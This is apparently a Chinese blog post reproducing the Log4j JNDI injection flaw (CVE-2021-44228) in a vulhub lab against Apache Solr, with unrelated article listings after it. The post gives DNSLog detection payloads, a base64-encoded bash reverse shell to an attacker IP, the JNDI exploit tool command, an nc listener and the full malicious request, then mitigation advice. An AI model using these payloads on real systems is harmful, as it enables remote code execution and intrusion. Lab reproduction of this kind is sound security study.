news 2026/6/10 16:06:36

Log4j(CVE-2021-44228)漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Log4j(CVE-2021-44228)漏洞复现

一、 漏洞介绍

1. 简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

2. 漏洞成因

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.191.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.191.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入;攻击者就可以通过shell实现任意的命令执行,造成严重危害。

3.受影响版本

Apache Log4j 2.x <= 2.14.1。

二、 漏洞复现

1. 环境部署

使用Ubuntu24系统,vulhub搭建漏洞环境。

具体搭建步骤详见:

Ubuntu24 Docker-vulhub靶场安装-CSDN博客https://blog.csdn.net/weixin_46098351/article/details/155501153?spm=1001.2014.3001.5501

2. 复现步骤

1、进入vulhub目录:

cd docker
cd vulhub

2、进入log4j目录,CVE-2021-44228。

cd log4j
cd CVE-2021-44228

3、启动靶场。

docker compose build
docker compose up -d

4、查看运行的端口,可以看到,运行在8983端口。

docker ps

5、查看漏洞说明。

cat README.zh-cn.md

6、靶场启动成功后,使用浏览器访问Apache Solr的后台界面(系统IP + 端口号8983)。

7、漏洞证明:

(1)用Yakit抓包,使用自带的DNSLog功能,生成一个独立的临时域名vzinpjjsus.lfcx.eu.org(也可以通过其它DNSLog平台,如http://dnslog.cn/等获取域名)。

(2)构造payload:${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包即可,可以看到得到了DNS解析记录,证明Log4j漏洞存在。

(3)构造payload:action=${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包,可以得到Java版本为1.8.0_102。

8、反弹shell:

使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

(1)下载工具Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit,将其放入Kali中,我图方便,直接放桌面了。

(2)使用反弹shell指令,并对指令进行Base64编码。(https://tool.chinaz.com/tools/base64.aspx)

反弹shell指令结构:

bash -i >& /dev/tcp/Kali攻击机IP/任意未被占用端口 0>&1

bash -i >& /dev/tcp/192.168.191.128/4444 0>&1 #Base64编码结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK

(3)进入目录调用工具,将编码后的反弹shell指令通过-C参数输入JNDI工具,通过-A参数指定kali攻击机的ip地址。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all\ .jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK}|{base64,-d}|{bash,-i}" -A 192.168.191.128

(4)在Kali另一个窗口监听4444端口。

nc -lnvp 4444

(5)将Yakit数据包中的payload替换为JNDI工具中生成的参数:

ldap://192.168.191.128:1389/tslvj1

完整访问链接为:

GET /solr/admin/cores?action=${jndi:ldap://192.168.191.128:1389/tslvj1} HTTP/1.1

生成的其它payload我还没试过,可自行尝试。

(6)点击发包,Kali的监听端口成功接收到反弹shell。

若直接发包后反弹不成功,可以将payload参数 ${jndi:ldap://192.168.191.128:1389/tslvj1}进行URL编码后尝试。

9、移除环境:

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。

虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:

docker compose down

10、修复建议:

(1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

(2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

(3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

(4)部署使用第三方防火墙产品进行安全防护。

(5)升级至最新版本。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/10 6:38:21

8.3 AI员工性能优化:提升处理效率与准确性

8.3 AI员工性能优化:提升处理效率与准确性 在构建了超级AI员工和多Agent协同系统之后,如何优化这些AI员工的性能成为提升整体系统效能的关键。性能优化不仅关乎处理速度,还包括准确性、资源利用率、可扩展性等多个维度。本节将深入探讨AI员工性能优化的各种策略和技术,帮助…

作者头像 李华
网站建设 2026/6/10 15:54:49

Redis性能优化:高效查找1亿Key中的10万目标技巧

文章目录假如Redis里面有1亿个key&#xff0c;其中有10w个key是以某个固定的已知的前缀开头的&#xff0c;如果将它们全部找出来 ?引言Redis 的基本知识Redis 中的 Key 管理为什么需要高效的 Key 查找如何查找前缀匹配的 Key方法一&#xff1a;使用 KEYS 命令方法二&#xff1…

作者头像 李华
网站建设 2026/6/3 11:11:48

Cowork创建者:一周半冲刺完成的!CC之父背后推了一把!未来AI产品界面会剧变!自曝是个施工现场!公开开发哲学:先上线、再观察、再迭代

Anthropic 看到的是&#xff0c;现在是为特定任务定制的一堆输入框和脚手架。但随着模型能力的提升以及行业整体在“泛化”这件事上的推进&#xff0c;AI产品会用更少的界面。系统会更加聪明理解你的意图&#xff0c;但会在某些时刻&#xff0c;界面又会发叉出来。比如他意识到…

作者头像 李华
网站建设 2026/6/8 23:48:53

AI写论文的秘密武器!4款AI论文生成工具,高效完成毕业论文!

你是否还在为撰写期刊论文、毕业论文或者职称论文而感到困惑&#xff1f;面对繁杂的文献资料&#xff0c;仿佛要在大海中寻找针一样&#xff0c;耗费了大量的时间和精力。而且&#xff0c;格式方面的各种要求更是让人感到无从下手&#xff0c;反复修改的过程也在消耗着我们的耐…

作者头像 李华
网站建设 2026/6/8 12:56:36

AI写论文新选择!4款AI论文写作工具,全方位解决学术写作难题!

AI论文写作工具实测与推荐 在撰写期刊论文、毕业论文或职称论文的过程中&#xff0c;许多学术人士往往会遇到各类挑战。手动完成论文时&#xff0c;面对海量文献&#xff0c;寻找相关材料便像大海捞针&#xff1b;复杂而严格的格式要求让人头疼不已&#xff1b;反复的内容修改…

作者头像 李华